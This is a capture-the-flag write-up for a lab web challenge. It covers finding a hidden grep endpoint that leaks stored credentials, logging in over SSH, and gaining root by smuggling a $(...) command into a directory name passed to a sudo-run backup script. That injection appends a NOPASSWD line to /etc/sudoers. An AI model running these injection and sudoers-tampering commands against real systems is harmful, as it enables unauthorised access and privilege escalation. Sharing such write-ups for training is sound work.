AlVault - Medium CTF Writeup
| Category: WEB | Difficulty: Medium | Flags: 2 (User + Root) |
Challenge: https://hackerdna.com
Contents
Reconnaissance
Only two ports open:
- 22 - SSH (OpenSSH 9.9)
- 80 - HTTP (nginx, PHP 8.3.18)
robots.txt reveals three blocked paths:
User-agent: *
Disallow: /dev/
Disallow: /backup/
Disallow: /admin/
Enumeration
| Path | Description |
|---|---|
/dev/notes.txt |
Dev notes from john (DevOps Team) |
/dev/search.php |
“Ultimate File Finder” — static HTML, always returns “TRY HARDER!” |
/dev/upload.php |
File upload — always says success, files saved to /tmp/uploads121212112121212/ |
/dev/file_search.php |
Hidden grep-based file search tool (NOT listed in robots.txt) |
/dev/old_search.php |
Disabled old implementation — hardcoded “File not found.” |
/backup/ |
403 Forbidden |
/admin/ |
HTTP Basic Auth (401) |
/.htpasswd |
admin:$apr1$salt1234$iHNzr3eR9mQrHG1ICLUaX/ |
Key finding: robots.txt blocks /dev/ but only lists search.php, upload.php, and old_search.php. The real vulnerability lives in /dev/file_search.php — discovered via directory brute-forcing (e.g., gobuster with a filename wordlist).
Exploitation
Step 1 - Credential Extraction via file_search.php
The file_search.php endpoint takes a pattern POST parameter and runs a grep search across files in /var/www/html/backup/. Searching with .* dumps all file contents:
curl -X POST http://TARGET/dev/file_search.php --data-urlencode 'pattern=.*'
This reveals /var/www/html/backup/credentials.txt:
### INTERNAL USE ONLY - DO NOT SHARE ###
Last backup from prod server - 2024-01-15
Database:
Host: prod-db-master.internal
Port: 5432
Database: customer_portal
User: app_user
Pass: DbP@ss2024Prod!
Application Servers:
SSH User: developer
SSH Pass: C0d3R_2023!
Redis Cache:
Host: prod-redis-01.internal
Port: 6379
Auth: RedisAuth2024#
AWS Access Keys:
Access Key ID: AKIA4EXAMPLE123456789
Secret Key: a1b2c3d4e5f6g7h8i9j0/k1l2m3n4o5p6
Step 2 - SSH Access
SSH in with the discovered credentials:
sshpass -p 'C0d3R_2023!' ssh developer@TARGET
cat ~/flag-user.txt
# bad6320b-fd56-4680-5a94-f8ac1e034418
Privilege Escalation
The developer user has passwordless sudo for one command:
sudo -l
# (ALL) NOPASSWD: /usr/bin/python3 /opt/backup.py
The backup script /opt/backup.py has a command injection vulnerability:
import os
import sys
RESTRICTED_DIRS = ["/", "/root", "/etc", "/bin", "/sbin", "/usr",
"/var", "/lib", "/lib64", "/dev", "/proc", "/sys",
"/run", "/boot"]
def backup_files(directory):
directory = os.path.abspath(directory)
if directory in RESTRICTED_DIRS:
print(f"Error: Backup of {directory} is not allowed.")
return
if not os.path.isdir(directory):
print(f"Error: {directory} is not a valid directory.")
return
backup_path = "/tmp/backup.tar.gz"
os.system(f"tar -czf {backup_path} {directory}")
print(f"Backup of {directory} created at {backup_path}")
if __name__ == "__main__":
if len(sys.argv) < 2:
directory = input("Enter directory to backup: ")
backup_files(directory)
else:
backup_files(sys.argv[1])
The bug: os.system() passes user input directly to a shell. The restricted directory check is exact-match only, and os.path.abspath() does NOT sanitize shell metacharacters.
Step 3 - Read Root Flag
Create a directory whose literal name contains $(...):
mkdir -p '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)'
Trigger backup as root via the injection:
echo '/tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)' | sudo /usr/bin/python3 /opt/backup.py
The shell command executed as root was:
tar -czf /tmp/backup.tar.gz /tmp/x$(cat /root/flag-root.txt > /tmp/rf.txt)
The $(...) was evaluated before tar ran, writing the root flag to /tmp/rf.txt:
cat /tmp/rf.txt
# b1d5ffb1-3a67-498b-3ba8-fa463d5eb32a
Step 4 - Full Root Shell
Inject a sudoers entry via the same technique:
mkdir -p '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)'
echo '/tmp/x$(echo "developer ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers)' | sudo /usr/bin/python3 /opt/backup.py
Spawn a root shell:
sudo /bin/bash -p
# uid=0(root) gid=0(root) groups=0(root)
Why not SUID? Setting
chmod u+s /bin/bashvia the same injection sets the bit, but the container’s seccomp filter (level 2) blocks thesetuid()syscall at exec time./bin/bash -pthen runs as the original user. The sudoers injection method is more reliable — it grants NOPASSWD sudo access legitimately.
Lessons Learned
- Hidden endpoints — robots.txt is not exhaustive. Always directory-brute-force to find unlisted files.
- Information disclosure — Sensitive credentials stored in a web-accessible backup file.
- Command injection via
os.system()— Never pass user input to shell commands unsanitized. Usesubprocess.run()with argument lists instead. - Insufficient input validation — The restricted directory check uses exact-match comparison, trivially bypassed.
- Overly broad sudo permissions — Running a script that accepts arbitrary directory input as root is inherently dangerous.
- SUID in containers — seccomp filters can silently block setuid syscalls. Abuse of existing sudo configurations is more reliable.